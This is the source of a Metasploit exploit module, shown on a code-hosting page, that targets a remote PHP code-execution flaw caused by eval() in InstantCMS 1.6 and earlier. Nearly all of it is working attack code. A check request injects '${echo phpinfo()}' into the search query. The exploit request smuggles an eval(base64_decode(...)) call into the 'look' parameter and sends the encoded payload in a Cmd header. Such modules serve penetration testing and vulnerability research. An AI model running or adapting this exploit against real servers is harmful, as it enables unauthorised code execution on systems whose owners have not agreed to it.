Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/exploits/unix/webapp/instantcms_exec.rb
Views: 11784
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = ExcellentRanking78include Msf::Exploit::Remote::HttpClient910def initialize(info = {})11super(update_info(info,12'Name' => 'InstantCMS 1.6 Remote PHP Code Execution',13'Description' => %q{14This module exploits an arbitrary PHP command execution vulnerability because of a15dangerous use of eval() in InstantCMS in versions 1.6 and prior.16},17'Author' =>18[19'AkaStep', # Vulnerability discovery and PoC20'Ricardo Jorge Borges de Almeida <ricardojba1[at]gmail.com>', # Metasploit module21'juan vazquez' # Metasploit module22],23'License' => MSF_LICENSE,24'References' =>25[26[ 'BID', '60816' ],27[ 'PACKETSTORM', '122176' ]28],29'Privileged' => false,30'Platform' => 'php',31'Arch' => ARCH_PHP,32'Targets' =>33[34[ 'InstantCMS 1.6', { } ],35],36'DisclosureDate' => '2013-06-26',37'DefaultTarget' => 0))3839register_options(40[41OptString.new('TARGETURI', [true, "The URI path of the InstantCMS page", "/"])42])43end4445def check46res = send_request_cgi({47'uri' => normalize_uri(target_uri.to_s),48'vars_get' =>49{50'view' => 'search',51'query' => '${echo phpinfo()}'52}53})5455if res and res.body.match(/Build Date/)56return Exploit::CheckCode::Vulnerable57end5859Exploit::CheckCode::Safe60end6162def exploit6364print_status("Executing payload...")6566res = send_request_cgi({67'uri' => normalize_uri(target_uri.to_s),68'vars_get' =>69{70'view' => 'search',71'query' => rand_text_alpha(3 + rand(3)),72'look' => "#{rand_text_alpha(3 + rand(3))}\",\"\"); eval(base64_decode($_SERVER[HTTP_CMD]));//"73},74'headers' => {75'Cmd' => Rex::Text.encode_base64(payload.encoded)76}77})7879end80end818283